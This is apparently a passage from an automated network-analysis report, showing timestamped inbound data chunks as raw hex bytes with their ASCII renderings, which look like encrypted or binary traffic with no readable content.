Data Ascii: p$vP'(P2;:{hlVqcK1h|bk"fsz=p`fryv9s?XdLyct{tAi]qm=>Nuq'ZwEfp^=i;(_qKY]LqEOh9_iB~DIaOF'5?0_qSWVS\^]
Pwp%)01v-\r5

2021-10-14 01:28:02 UTC 115 IN Data Raw: 64 ad 2a 86 9c bc f1 a9 8f 20 cd d6 f5 c6 a8 44 6b b7 f7 1a c4 d3 94 dc bf 76 23 4a d4 ca 70 70 65 b8 ca d3 96 
11 68 51 e2 8e 64 7b 74 7f 48 07 6e 51 e2 32 1e cf ad f2 62 08 b7 bc 2a ed e6 9c 81 a4 05 8b e6 49 53 d0 c5 1e 31 30 de 
ec ce 5c df 01 36 a0 80 11 05 f7 20 9c 4f d1 72 19 1e 5e a1 d1 57 d6 b3 6a de 2e 6d b3 e3 e9 d9 2d 6f 3d f9 6b 41 b5 2a 
45 1b 09 30 fe fc 26 18 de a1 35 76 e0 69 69 42 7a 72 6d e8 ab d5 31 d1 39 36 d8 92 dd cb 32 6d f1 6c 95 53 b0 72 c1 59 
53 d3 09 ee 23 15 5b ef 5c 97 1b 13 7e 83 89 2e ce c4 48 22 c7 6d 71 30 b9 f6 c9 b8 26 54 11 2d 65 8d eb 24 3f 58 fa 34 
15 87 be 1d 77 72 42 ba 0d 07 e4 28 06 37 22 ad 81 dd 31 80 da 67 e0 2c 7a bc 72 ab 45 24 7d 96 3d 5b 8e b9 64 c0 4d 
dd 70 f3 64 5d ea 9d e5 6d 01 33 ac 30 ff c5 32 28 0d 9d 
Data Ascii: d* Dkv#JppehQd{tHnQ2b*IS10\6 Or^Wj.m-o=kA*E0&5viiBzrm1962mlSrYS#[\~.H"mq0&T-e$?X4wrB(7"1
g,zrE$}=[dMpd]m302(

2021-10-14 01:28:02 UTC 116 IN Data Raw: 22 75 89 bd e9 c9 73 40 56 54 06 1f 6c e5 fa fe c4 ff 05 e2 96 b7 cc 9d 35 8b 05 78 81 e0 10 08 39 88 81 51 98 
d1 4c 76 a1 e3 41 e5 b5 ab 9a ae 39 5a 9c 27 16 fc 92 16 15 fb aa e5 3c 5f 72 71 34 ca 84 80 42 44 03 2d 87 98 43 5b 3f 
cd d7 b4 a8 3b 19 44 a2 a5 43 6b 82 dc bc 66 0b dc ed 07 a2 44 cd ec 49 a5 00 7d e3 bb 10 68 71 27 8b dd af 89 b5 6a 
66 f8 ad 76 b2 9f 5e 05 5c 23 4e 7e 44 54 e0 d2 cb a3 32 bc 16 37 13 e2 f0 b4 40 a7 5b 83 82 dc 6e 1a 41 55 f4 50 1b ad 
f8 ff 0a 08 89 39 26 ef a5 a0 58 66 7b 32 15 24 22 b8 33 fc 87 7f a1 e5 89 e2 27 8e 41 71 cb 30 41 87 3a b5 9f bf 75 37 81 
49 79 dc 65 f3 0f 75 7a 05 96 fb 05 d9 2f b7 0f 3e 76 7c 94 60 ab d3 a2 67 5d 3d 5a d1 ad 8a ae 3d 69 45 00 d1 7f 21 5f 9f 
9a ec 26 32 38 25 68 17 53 df bb 88 20 d6 4b a5 97 
Data Ascii: "us@VTl5x9QLvA9Z'<_rq4BD-C[?;DCkfDI}hq'jfv^\#N~DT27@[nAUP9&Xf{2$"3'Aq0A:u7Iyeuz/>v|`g]=Z
=iE!_&28%hS K

2021-10-14 01:28:02 UTC 118 IN Data Raw: 08 ae 64 51 ff c5 3b d6 4f ef a6 cf 58 d9 6c 5b ea 81 1b 2b 98 1d 9d 5c eb 1c 3a 33 5e a1 d1 ff d6 93 3b 93 0d 
d0 a8 e3 e4 79 ae 2d 10 fb 77 48 b7 56 10 e4 08 18 eb 31 3a ce 54 92 cb 77 cd 16 07 41 51 95 45 93 e0 d4 22 e5 53 21 
58 93 d7 e1 f3 72 e9 f0 a8 40 b5 4b 2d 14 52 d3 0d d5 38 19 62 14 5d 1c 1d 1b 54 67 83 3d da d2 4a 22 f2 d0 70 0d ae ec 
35 c2 4c 5b 13 46 ab 5b 96 68 26 05 e8 05 2e 8d a8 18 66 66 5d 5d f2 2a d9 2f 69 5a 39 be 80 df 5b c3 cc 99 e5 da 73 bf 
72 ab 45 24 7d 9b 3d 5b 8e b0 75 c5 76 fd 60 f6 7e bf f8 b4 e7 57 06 07 1d cc 91 31 a5 28 07 f1 c0 0b a4 74 f2 d4 37 94 
66 12 b6 e2 a3 d9 b4 ac 02 f1 e1 d7 43 ca 79 14 8d da a0 6e d0 f2 58 f0 17 b5 e8 be 75 d0 eb 8a 74 eb f6 5e c7 be aa af 
c6 a4 34 b4 b7 f8 73 f3 0e 59 83 63 75 69 75 8d 3b d0 b8 
Data Ascii: dQ;OXl[+\:3^;y-wHV1:TwAQE"S!Xr@K-R8b]Tg=J"p5L[F[h&.ff]]*/iZ9[srE$}=[uv`~W1(t7fCynXut^4sYcuiu;

Timestamp
kBytes
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2021-10-14 01:28:02 UTC 119 IN Data Raw: c3 9f 7e 5a d8 17 99 5d 57 2a e8 c7 a7 a5 22 6e b1 a2 89 44 69 81 cf 9d 45 eb dc eb 2f 99 5d de eb 3a 39 0c 
62 ff 56 18 55 7e 1b 83 c7 b4 9c d7 ed 76 f5 b4 4b 4b 8a 78 ad 72 fb cd 7e 6c 1e c9 c6 c1 b2 31 82 23 17 16 e4 ef 56 cd 
a6 5b 84 fe 46 7f 1d 5d 5f 7e 0a 1d ba fa c6 12 1e a1 17 81 fe a4 d7 da 74 70 25 71 ad 0a 3b 3b f7 90 6d 24 8d 7e e3 26 
9c 58 74 e4 8c 69 68 34 9d 88 a8 f8 3a 23 58 7f dc 7d f3 17 77 46 39 1e d4 03 7b 3f ba 13 3b 6a 42 2b fc ba d1 a4 77 d5 
04 bd cd ba 10 a8 b8 79 6d ac d0 6c 34 68 9f 9d d7 0d 37 29 2e d5 10 b2 ca 83 b0 19 75 5f 8d 1e 6c fd b1 4a 55 39 c6 83 
f6 0c 06 84 0f 48 66 bc 7d 05 91 6d db e4 c1 de 7e 1b b5 8a 09 59 63 7e ad e7 2c f9 f1 43 ff 8f c8 e0 07 c7 5d 4e 62 06 11 
6b d2 ff fc b3 a5 de 08 03 13 a5 51 0a b1 f1 22 07 48 
Data Ascii: ~Z]W*"nDiE/]:9bVU~vKKxr~l1#V[F]_~tp%q;;m$~&Xtih4:#X}wF9{?;jB+wyml4h7).u_lJU9Hf}m~Yc~,C]NbkQ"H

2021-10-14 01:28:02 UTC 120 IN Data Raw: 54 56 ca bf c1 3b 6c 13 36 5a 92 ce ef d4 49 e7 6a 1f 51 91 5d ba c4 42 f7 11 e9 ba 1b 76 06 75 17 1d 1b 5e ba 
92 19 dd 54 75 2c c8 b1 66 86 83 e5 cb c3 6a 46 00 38 42 4c 06 4e 1c 49 dc 3c 86 bc aa 1d 66 7d 88 56 0c 2b ee 02 69 70
23 a7 ad e7 4b c6 d1 13 f6 f6 70 bc e1 e2 44 35 7c f3 8f 5b a2 b7 68 0b 85 ff 71 f3 41 69 ce 98 e5 76 17 3e b2 c4 d6 c4 a5 
28 07 40 01 09 a4 74 f0 fc 10 91 26 4f bd c6 a3 d9 be 84 33 01 de 84 52 95 7b 14 87 7b 3a 93 5d d9 59 e3 0d bc d6 9e fe 
67 fa 78 43 ef fb 7f 96 4f a2 b7 18 af 4f 56 a3 97 88 fe 09 56 e4 aa 74 6b 7f 9e 36 0d b4 9f 31 3e 63 d2 fb 2a bc 98 63 9d 
b0 ad b3 aa 08 bd 5b eb 0f 15 ca 80 52 6b aa 9d de b5 3b 86 0c d1 2d 41 87 56 97 7d 9c 4e 88 8a b8 ef 01 6f f1 73 22 05 
1d 00 87 49 03 8f 4a e6 a7 eb 65 84 ce 58 ec b0 
Data Ascii: TV;l6ZIjQ]Bvu^Tu,fjF8BLNI<f}V+ip#KpD5|[hqAiv>(@t&O3R{{:]YgxCOOVVtk61>c*c[Rk;-AV}Nos"IJeX

2021-10-14 01:28:02 UTC 121 IN Data Raw: 2f 8b 15 ca 12 c8 c7 28 4a c8 a7 83 91 dd 69 72 83 51 56 4b 73 46 f1 d7 1d 1f e6 e7 86 fe a8 d7 ac 74 70 25 09 
5f de 39 31 f6 ee 97 2d e2 8f f1 29 85 4a 76 f4 98 50 90 2f 87 70 be 59 13 32 4a 11 33 62 e2 0f 77 01 c8 19 d4 0f b6 d2 a5 
07 29 69 05 57 fe ba d1 da 8c c0 2c 54 de d5 c2 bd 35 74 02 52 d0 7f 2d 6a 93 94 e4 38 25 29 39 60 16 53 df bb a7 29 ce 
48 8d 05 53 a2 a5 b4 5e 3d 73 8b de 94 3e 49 04 72 68 b4 69 2d 4a 79 c8 f5 d6 42 6e 04 bb 75 1b 55 62 76 97 f4 a0 c0 82 
c4 ff 2d d3 d3 14 cc 46 75 dd 06 00 76 d9 dc c6 b1 89 c8 0e 8b 3c b3 53 0b a4 ea 28 27 5e 64 b4 7e 77 da ef 37 aa b7 56 
70 ad da 39 3c 4d dc e5 2c 78 68 1b 6c 4a a7 a8 83 e0 1c 94 86 80 8b fe 6c 0b ee c5 83 6d 39 2d 42 b4 d4 62 93 bf 1f 02 
6a 9a b4 99 8f 91 40 af a8 19 7e 72 5e f3 17 cc 51 
Data Ascii: /(JirQVKsFtp%_91-)JvP/pY2J3bw)iW,T5tR-j8%)9`S)HS^=s>Irhi-JyBnuUbv-Fuv<S('^d~w7Vp9<M,xhlJlm9-
Bbj@~r^Q

2021-10-14 01:28:02 UTC 123 IN Data Raw: 67 77 5e 5c 63 ff f7 2a 77 1f dd ac 85 d9 59 d7 ca 76 9a ba 71 a7 65 bf 56 1d 64 8f c3 5c b1 bf 73 d1 7a d5 18 
f2 64 4b 96 6f e4 7c 02 3f ab df f3 93 59 29 0d 9b f5 64 70 76 f2 de 58 68 27 49 93 f5 cc 0d b6 ac 08 6e 22 8f 6b 5a 6e 7b 
53 6f b7 b2 32 27 59 f0 10 ad f1 a8 f6 08 00 51 67 e9 ed 1a 31 be a3 bd 71 40 5a 47 b1 e0 16 2b 0b 50 81 2c 88 6a 75 8b 
00 3b ab 90 4f 72 70 f7 d7 d1 b1 b0 75 13 9a ab a0 ba 68 83 48 f7 1d 2e f2 95 42 65 d3 38 db b5 3d 96 08 d4 35 41 02 53 
97 71 9c 48 8f 8a b8 d1 c7 86 f3 79 47 30 03 14 a9 70 17 9e 47 d8 07 e9 65 82 e7 62 fa a4 a6 59 6d 2f f7 f7 76 af ea 4f 17 
91 0c 2b 60 32 09 fa a8 35 06 39 d0 9b ee 46 e0 12 c9 dd fe 0a c0 86 62 16 a9 5b 7c ec 7a 69 6f e1 1c 03 d8 47 e0 3f cb 
75 c6 6c 33 e2 eb 7d db 70 09 e0 37 92 01 ff 05 
Data Ascii: gw^\c*wYvqeVd\szdKo|?Y)dpvXh'In"kZn{So2'YQg1q@ZG+P,ju;OrpuhH.Be8=5ASqHyG0pGebYm/vO+`259F
b[|zioG?ul3}p7

2021-10-14 01:28:02 UTC 124 IN Data Raw: e4 1f f1 42 3d 0a d1 13 43 06 b5 07 2f 74 ba 91 fc ba c0 9d 64 c1 2c 58 e1 82 17 bf 3f 0a 7f ac d1 64 d5 72 80 
8b 8b 39 32 29 33 7c 06 a7 00 87 81 19 ea 5f 8d 1e 49 a9 b9 62 67 11 7c 89 28 06 39 63 0e 09 7a b5 69 2d 55 6e db e2 
d6 53 79 02 b4 8b 1a 60 73 5e bb e1 a0 c6 f1 59 fe 2d d8 9a 11 2d 5c 2a ca 06 13 63 c5 aa 43 b1 a5 dc 1d 8a 69 d9 50 0b 
a6 fa 33 35 6e 60 ab 98 64 cd ef 2e bc a8 50 8c 52 e3 64 2d 49 f6 75 53 4d 62 21 ab 37 d9 a9 9c fc 0d 53 cb 91 9c e3 4b 
e1 ef e9 86 54 3a 3d 4a d1 21 1e 92 b5 08 08 61 74 a6 98 71 81 5d b6 97 ca 7d 5d ce 55 63 5d 5a c6 1e ae 26 fd 1c bd f1 
be 97 78 cf a3 ff bb d7 45 6b b3 f4 0e ee bf eb dd b5 70 36 4c 10 ca 70 70 4f 5e b5 95 9d 15 78 ad f5 e5 dd 7b 7f 7c 66 29 
11 1d 6d 85 67 4f d7 ba 67 0a b1 c3 c7 32 e4 98 a3 fd 
Data Ascii: B=C/td,X?dr92)3|_Ibg|(9czi-UnSy`s^Y--\*cCiP35n`d.PRd-IuSMb!7SKT:=J!atq]}]Uc]Z&xEkp6LppO^x{|f)mgOg2

2021-10-14 01:28:02 UTC 125 IN Data Raw: d0 92 ba 14 17 f6 a3 69 5c 7f 3e d5 13 2e b9 5d dd 4f 6a 33 93 f7 9f ec 71 e4 78 4a ed fb 73 cf ea dd 2e 1f bc 5f 
5f 2d dd 54 f5 2f 48 93 5c 65 43 58 8f 13 33 90 c4 4f a7 70 f7 d7 d9 24 bd 44 1a bc b4 ac a4 04 b2 62 da 19 3d e4 ae 04 
13 25 11 d9 b1 21 1d 3d e8 33 4f 35 49 bf 6d 9c 4b 8f 8a b8 d3 7f fa 6a 72 28 10 1a 8e 8a 4c 0d a9 57 ef 06 f6 4d a9 cd 4c 
fe 8e fa 0f 1a 2c f7 f9 05 13 cd 62 1a a6 00 37 3f 07 07 d2 83 31 17 2f 95 d9 91 df eb cc c2 e5 4c 18 ed 8d 4e 18 a2 4f 5b 
e3 52 4e b3 e1 0b 23 95 ef 6a 34 da 7b c9 e1 28 ba 1e a4 3a 7e 57 e8 ec a9 39 ec 10 7e 17 18 09 25 c4 c3 74 66 75 cc 23 
32 7f d3 f6 fa db b6 17 f1 ab 64 cf b1 3e b0 6f 1e 88 d8 04 0e 26 82 04 62 a6 d0 6a 78 a6 e3 34 04 bf af ba bd 31 4a 26 40 
47 9a 6c e9 0e f6 b2 72 19 63 74 48 20 3f 
Data Ascii: i\>.]Oj3qxJs.__-T/H\eCX3Op$Db=%!=3O5ImKjr(LWML,b7?1/LNO[RN#j4{(:~W9~%tfu#2d>o&bjx41J&@GlrctH 
?

2021-10-14 01:28:02 UTC 127 IN Data Raw: 22 18 2c 68 2d 51 71 e9 78 f3 7e 77 3d aa b9 3a 04 70 5e bb e9 88 eb f3 43 f8 07 b3 be 8a d2 49 62 d5 35 8b 
44 eb d9 1e af 96 f8 60 8c 14 a5 48 23 8f d2 33 20 74 0e d5 eb 65 cd eb 39 89 32 64 a3 a2 d0 36 19 69 76 75 2d 78 79 09 
82 48 a7 ae b6 96 71 1a 87 91 98 fe 56 6f ca c4 83 5a 21 09 6a 5c 5e 63 93 aa 06 23 58 88 a7 88 a5 ee 29 29 ba e7 7b 41 
76 78 3b f0 54 e0 05 9a 04 17 9e bc f1 a5 b5 0b e0 a1 f5 c0 82 2e 15 2e f6 18 e8 db a3 46 90 59 3a 11 8f fc 50 ef 65 ae b7 
8b bf 3c 6e 53 f2 d9 49 04 ed 7a 4a 00 0c 21 79 17 37 c3 f0 a5 5b 28 10 ba 45 33 fc b4 a6 a4 00 f0 85 22 2d 4d c6 10 31 
52 ad 77 eb 75 d3 25 52 d1 a1 b4 03 98 1d 84 67 f6 1c 3a 18 74 cb af ce d7 93 2e 9a 3c 61 96 ce ed 48 4f 16 1c 51 6d 43 
b7 4a 2e 37 0b 34 ef 0c 5b b0 ca 8b 35 72 fe 2f b6 66 
Data Ascii: ",h-Qqx~w=:p^CIb5D`H#3 te92d6ivu-xyHqVoZ!j\^c#X)){Avx;T..FY:Pe<nSIzJ!y7[(E3"-M1Rwu%Rg:t.
<aHOQmCJ.74[5r/f

2021-10-14 01:28:02 UTC 128 IN Data Raw: 95 ae 7a 81 06 f3 1b 3d f9 ac 7f 6f bc 16 f3 db 45 1e 19 c5 3d 76 4d cc b2 5a bb 40 92 e8 9e a8 2d 84 f3 6c 3d 
3c 2c 16 af 67 2d e1 32 69 2b ec 61 9b ac d6 dd 89 af 57 9c 4e d7 9b 1d 89 e8 50 1c a8 31 2a 0f 1e 21 94 d0 aa 16 29 bb 
9c 8b dc cf e1 c9 de c9 59 e0 f5 6c 05 bd 6c 4b c4 57 61 b1 e7 27 67 b1 08 f2 35 de 60 b2 e1 28 ba 1a a4 3b 04 3c 75 e5 
81 14 f1 19 50 10 78 77 ba ef ad 0e e0 7d 56 02 00 15 6f cc de cb c8 17 9b a3 c2 c9 b1 38 85 2d 48 3c db 04 0c 13 e2 e0 
de 8a dc 48 78 cb 66 75 36 ba a1 88 d8 11 e7 08 1e 39 1f 45 c4 08 e9 bf c2 52 30 e6 6f 3f 30 9a c4 d1 59 77 dd 5e 78 34 
77 9d c4 d7 a5 ba 34 29 97 a1 89 48 50 ec b3 2c 59 ee d8 f2 6e 27 78 f3 ef 6f ab 64 42 38 41 11 44 6c 1b 8c c0 b4 9c 92 
04 09 6c b3 66 48 81 18 ea 6d de c2 58 5b 3f e8 00 cf 
Data Ascii: z=oE=vMZ@-l=<,g-2i+aWNP1*!)YllKWa'g5`(;<uPxw}Vo8-H<Hxfu69ER0o?0Yw^x4w4)HP,Yn'xodB8ADllfHmX[?

2021-10-14 01:28:02 UTC 129 IN Data Raw: 29 2d 69 e6 70 2d 78 7f 09 82 48 a7 ae b6 7e 71 1a 87 91 98 c1 ed f5 ef e9 16 59 13 2e 6c fb d2 63 93 b5 2c 
12 72 8a a7 91 9d a8 7a b2 bb e1 55 d8 3e 7b 1f dd 5f e6 95 ac 24 86 06 99 dc a8 99 03 42 a3 f5 c6 88 6f 6c b7 f7 07 dd 
ec b9 de b5 72 1e b5 ee 52 71 74 63 8e 27 95 97 11 f6 76 d9 e2 05 5a e4 7b 4a 04 33 45 e4 32 1a d7 fe 97 61 08 b5 92 c3 
4d 7d 9d 8b a2 20 67 af 48 53 4e e2 3d 27 6b b4 7c ce 58 dd 23 2d ef 81 11 1e b4 35 b0 4d db 18 10 9c 20 38 d0 57 d2 b3 
b8 85 06 fb 29 c6 ce 7f 76 0c ae f9 6f 43 97 dd 01 1a 09 2e c1 0b 33 ce 55 a0 b7 08 78 15 2c 47 5a e5 47 e8 ab 4f 07 cc 
2d 10 7a 00 dd cb c5 4d 61 7a 83 40 af 62 80 5a 53 d5 23 7d 58 93 53 11 59 9b 89 1b 54 9c 19 18 e6 d5 7f 07 4d 93 70 1c 
8b 60 cc c3 60 4d 39 04 64 5b 90 48 bc 26 67 2a 1c 90 9b 
Data Ascii: )-ip-xH~qY.lc,rzU>{_$BolrRqtc'vZ{J3E2aM} gHSN='k|X#-5M 8W)voC.3Ux,GZGO-zMaz@bZS#}XSYTMp`
`M9d[H&g*

Timestamp
kBytes
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2021-10-14 01:28:02 UTC 130 IN Data Raw: 52 c9 9a ed b8 35 7e 74 84 fc 7d 2b 7f aa 09 81 b2 33 29 2c 57 a5 ad de 97 3e 14 f0 4e ab 34 e0 bd b3 4a 7f ef 
7b 83 f6 11 17 64 0c 48 60 9f ef 53 cc 6f db e6 f6 f6 79 1b b5 11 3f 54 60 78 9b 54 a0 c6 f1 63 01 2a d9 c0 0c c8 61 4b c8 
06 17 4b 40 a9 a1 b1 a5 dc 3f 28 14 a5 51 91 87 fd 21 00 7e c2 ab 72 64 ed f5 2e bd a8 5e 85 84 db 2b 2d 4f de f1 53 e1 
63 21 ab 6a 00 a8 9c f8 95 a6 ab 83 ba c1 c4 f5 ef e9 ac 59 36 3c 4a c4 45 4b be b7 0c 0d 5f 0c d9 17 8e 80 53 90 13 e7 7f
5e da c7 33 cf 7d e6 b2 ac 24 86 bc 82 f9 ba bf 3c c4 8b d8 c4 a8 42 41 31 89 81 ed c4 90 fc 1c 74 34 37 0a ee 5d 66 41 
8e 1e 95 97 11 4c 14 fc f3 23 65 64 53 67 06 13 1f c9 b0 64 54 d7 ba 67 28 19 b8 45 33 7e b9 a6 b7 26 d6 05 48 53 d4 e7 
47 3d 4d 94 f6 e6 75 df 03 4b c2 03 6f 98 99 1d 
Data Ascii: R5~t}+3),W>N4J{dH`Soy?T`xTc*aKK@?(Q!~rd.^+-OSc!jY6<JEK_S^3}$<BA1t47]fAL#edSgdTg(E3~&HSG=
MuKo

2021-10-14 01:28:02 UTC 131 IN Data Raw: 31 67 fc 50 47 e6 f1 75 e5 a3 84 9f 33 be 5b 41 9d 7e 07 66 08 50 8f 63 bd 6b 75 8d 89 10 97 8c 17 1e ba f7 d3 
c0 9e a8 63 11 9a b2 90 99 36 a3 4a f1 31 bb 9c 1d 53 6d b8 30 15 b5 3b 87 82 e0 14 7b 09 76 5b 77 b4 66 ad d9 b4 f9 29 
9b d0 5b 05 16 01 12 85 e7 79 16 4d f0 2e cc a8 84 cf 4c 62 81 8d 63 a5 0d 3a fd 19 89 c8 39 1b 80 1c 37 2c 30 26 f8 ae 
35 3d af c1 1a ee 46 ee ec 08 f8 d6 3d 5a a3 45 17 9b 53 8a ec 7a 63 91 78 07 09 cf 8e d0 1d f7 7d d7 7d 27 11 6b 1b 25 
61 18 d7 2e 81 14 ee 8a 5d 10 68 51 9c 0a c3 70 79 5c ea 0c 1f 73 ea cb db e9 ec 08 fb a9 cf b3 28 39 9a 09 40 c1 d9 04 
0a a3 ad b3 55 ad fc 9c 67 ac fc 70 c5 be 87 97 a0 13 64 21 1c 39 05 47 6f 74 70 b8 e8 38 6e ae 6e 3f 34 1f 89 66 6e 7c f2 
a9 67 5c 57 0c c0 dc a5 a5 3b 22 92 8e 8b 4e 7c ac 
Data Ascii: 1gPGu3[A~fPckuc6J1Sm0;{v[wf)[yM.Lbc:97,0&5=F=ZESzcx}}'k%a.]hQpy\s(9@Ugpd!9Gotp8nn?4fn|g\W;"N|

2021-10-14 01:28:02 UTC 132 IN Data Raw: f1 47 de dc d9 c0 13 49 6c 4b db 20 31 90 c6 d7 38 90 49 d5 1f 8e 03 8d 7c 09 a2 d6 19 a0 20 fd aa 72 60 ed 
1d 26 bd a8 db ab 81 e4 0f 0d bb f4 77 2d 58 8f 2c af 4a b8 a5 b4 d5 0d 83 80 bb 1e 9f fa f4 ef ed ac 8f 3e 3c 4a 41 79 4e 
82 93 2c f8 75 8a a7 ae 75 8d 57 b0 a6 cf 52 5c 40 e4 34 5f 25 5f 1b ac 20 a6 68 bc f1 ba 25 06 e0 b2 d3 e6 5c 44 6b b7 
d7 19 e2 c4 94 cb 9d 59 36 37 96 e1 f2 0a fe af b7 91 b7 e4 6c 53 f4 69 06 57 65 5d 6a f1 13 19 e3 12 18 c3 d6 ba 7e 20 
9e ba 45 35 ce 1e f5 3f 01 f6 ab 68 a5 d4 c7 10 af 68 b9 fc e8 78 2b 03 4d e8 a1 18 0f 98 1d 87 67 f6 1c 3a 18 74 23 af ce 
d7 93 2e a5 f1 fb b3 e3 79 4b 7d 3d 1a d9 98 43 b7 51 26 17 07 34 e9 3c 19 e3 51 8a 33 5c 63 6a b5 42 7a 72 67 10 ab d5 
22 7b 19 1b 4b b5 fd 33 c5 6d f1 5d 92 4e b5 4a b7 
Data Ascii: GIlK 18I| r`&w-X,J><JAyN,uuWR\@4_%_ h%\DkY67lSiWe]j~ E5?hhx+Mg:t#.yK}=CQ&4<Q3\cjBzrg"{K3m]NJ

2021-10-14 01:28:02 UTC 134 IN Data Raw: 57 97 73 94 7e 8c 8a be 63 0c a9 e2 55 08 0c 00 14 af 41 ef 80 4c f0 37 c4 48 86 cf 4a d2 22 de e8 82 2d f3 dd 
00 88 e8 4f 8b a5 31 3a 29 38 12 fb ae 33 37 c6 b0 83 ef 59 fb e4 eb fa d6 3b ea 04 16 9c bc 73 40 cc 60 62 b1 e1 97 2c 
e2 80 d5 15 c0 7e d7 7b 2d 97 05 82 24 7d 34 da e3 81 12 c4 96 06 a4 7b 77 b8 e5 d8 71 79 7c cc 23 32 61 d3 c9 e8 c5 
ee 08 dd 85 59 cd b1 27 8a 25 4d 13 d9 02 20 bb f6 07 46 8b d8 6c 7b ad fc 50 81 91 aa 86 99 11 50 0d 1e 39 23 7b f9 0a 
e9 a7 c0 11 4c 7f 68 15 b2 fb 35 4a 7c 5e f2 65 66 5c 57 b6 e5 fa b7 83 04 1c bb a3 89 6e 64 96 cd b5 47 cf f4 c0 05 bd 5b 
f4 67 37 2d 0c 62 fd 65 0f 45 77 33 3b e7 99 88 9e 4a 69 f4 b2 66 6c a1 62 70 48 ec c4 56 69 57 c8 c0 e1 25 46 0d 0a 34 
17 c4 f6 38 47 a7 c1 a7 bc c9 59 3d 48 52 56 41 3c f2 
Data Ascii: Ws~cUAL7HJ"-O1:)837Y;s@`b,~{-$}4{wqy|#2aY'%M Fl{PP9#{Lh5J|^ef\WndG[g7-beEw3;JiflbpHViW%F
48GY=HRVA<

2021-10-14 01:28:02 UTC 135 IN Data Raw: f0 f0 a4 51 3c 3c 4c f1 de 1d 0a b4 0c 0f 55 b5 a6 8e 8f 1a 72 9d aa c1 5f 61 41 e2 1e fd b9 d7 1a ac 38 ae b1 
be f1 bc 95 a1 b3 3a f4 c6 ac 64 2b b6 f7 18 76 e1 b9 cd 93 54 74 36 90 cb 50 9c 76 ae b7 8e bf 3c 6e 53 f2 d9 a1 04 ed 
7a 4a 00 33 58 e2 32 1a 57 f3 97 72 2e 93 f9 44 33 e4 bc 66 b7 00 f6 b4 60 7e d6 c7 16 1f cb ea 74 cf 58 d9 23 0f e9 81 11
9b bd 30 8f 69 fb 5c 3b 1e 5e 81 23 46 d6 93 35 a1 2e d6 b1 e3 e5 44 d6 52 a5 f8 6f 47 97 12 07 1a 09 ae cc 0b 23 e8 73 
c9 34 76 e1 34 3a 51 7a 76 58 fb 83 f8 20 e1 3a 1c dc ed 44 ca c5 69 d1 39 82 40 b5 d0 88 75 41 f5 29 bb 27 0a 52 31 74 
a9 1d 1b 4b b8 ab 10 c9 c4 5f 0d 5f ed e9 1d ab f0 eb 86 61 55 11 b3 43 76 84 44 1e 1d ff 2b 1c b4 f6 0f 66 77 47 5b 24 06 
f7 2a 7b 5a a5 d3 1c de 4a c2 fb 21 e5 f6 70 3d 
Data Ascii: Q<<LUr_aA8:d+vTt6Pv<nSzJ3X2Wr.D3f`~tX#0i\;^#F5.DRoG#s4v4:QzvX :Di9@uA)'R1tK__aUCvD+fwG[$*
{ZJ!p=

2021-10-14 01:28:02 UTC 136 IN Data Raw: 90 61 62 cc 1f 62 b1 e1 2d 3c da 91 f3 2a d7 57 fa 79 0d 91 3f 04 5a f8 1d f7 e5 a1 72 ef 10 78 a7 5f 5a ae e3 
e3 16 78 7c 56 26 5d 66 f5 e9 ec dd c6 25 ff 83 4f e7 37 46 03 0c 60 15 f9 63 0b 39 88 04 62 a6 ce 6a 47 cb fd 50 1b 94 dc 
82 bf 31 53 1d 36 14 01 6d ef 20 6b c7 71 3d 4e 7b 4e 57 35 85 ac d1 59 77 c3 5e 47 34 56 2c c0 f7 c9 b0 24 01 a7 8b a4 
4c 7a 80 e7 37 26 77 dd ed 03 9d 34 df e1 49 2e 28 4f e8 63 31 2d 76 33 a1 e2 c7 8f b8 6a 69 dd 9f 64 4c 98 58 f2 36 6a 
cc 7e 40 75 a2 c7 cb a3 a2 b1 26 25 35 c4 83 38 47 a7 7b f9 84 db 7f 03 7f 7e 54 41 1a 90 72 a9 82 09 89 37 a4 95 a3 b8 
50 ef 55 0e 0f 16 2a 50 30 fc 81 49 af f7 89 e2 3c b2 78 67 e3 9e 6b 05 4e 04 8f bf 71 1d 4f 59 7e cf f9 c7 24 70 48 3c 77 
d5 05 d9 0e 23 12 2f 7e 70 ab d1 b8 db b3 5a 43 
Data Ascii: abb-<*Wy?Zrx_Zx|V&]f%O7F`c9bjGP1S6m kq=N{NW5Yw^G4V,$Lz7&w4I.(Oc1-v3jidLX6j~@u&%58G{~TAr7
PU*P0I<xgkNqOY~$pH<w#/~pZC

2021-10-14 01:28:02 UTC 137 IN Data Raw: 95 93 31 e0 52 f4 f3 b9 5f 59 6a 6c 24 9f 18 e3 32 3a 4c c1 ba 63 15 9b 95 47 33 e2 b6 0d d8 99 f7 af 4c 73 59 
c6 10 35 d7 b1 c0 dc 7e fd 8e 4c e8 81 31 89 8f 1d 9d 50 cb 36 17 1c 5e a7 fb d1 a8 0a 2b 85 02 db 3d e2 e3 6e ca 09 11 
eb 49 63 39 50 06 1a 29 ac fe 26 31 d1 5c a2 18 74 e1 12 06 c5 04 ef 46 e8 af f5 ad e0 3c 36 c0 b6 f0 d9 e3 4d 7e 7c 83 
40 95 ed ba 58 53 cc 00 d7 0b 08 52 17 77 3d 63 82 55 9c 87 1d 5b c5 59 27 43 b6 5d 0e 8d d4 5b c2 60 55 31 99 71 5b 
96 7d 2d 70 d3 29 1c 92 91 9b 18 ee 59 44 08 0b 64 2b 7d 70 b9 88 a8 cd 6c e6 4a 66 e4 f6 50 64 76 ae 45 2a 71 a5 ee 
58 a2 b5 48 50 0d 64 70 f3 60 61 6b 99 e5 7c 9e 09 8b dc d8 dc 37 29 0d 9d c3 c7 b3 74 f2 cb 39 bc 0b 4b 95 e4 89 5f ca 
35 03 01 da ae f8 5d 79 14 1d 48 9a aa 7b f9 cb f1 16 be de 
Data Ascii: 1R_Yjl$2:LcG3LsY5~L1P6^+=nIc9P)&1\tF<6M~|@XSRw=cU[Y'C][`U1q[}-p)YDd+}plJfPdvE*qXHPdp`ak|
7)t9K_5]yH{

2021-10-14 01:28:02 UTC 139 IN Data Raw: 6d 09 a2 d5 66 ac f8 70 a8 b5 87 97 25 14 61 1d 38 19 b0 6c e9 0a c9 93 f1 3c 4e 62 46 12 36 85 aa 61 fa 24 
4b 79 67 58 77 98 c1 d7 a5 3f 01 2c a8 85 a9 fa 7b 86 cd 95 69 f7 dc ed 18 a1 75 f3 e3 49 b2 27 e0 87 dc 10 44 73 13 14 
c3 b4 9a 22 4f 5a e4 94 46 f9 9f 72 70 68 be d4 7e 44 4b e0 eb c9 a3 3e be 89 4a 8a e5 e9 3d 67 11 5a 82 91 41 5a 30 46 
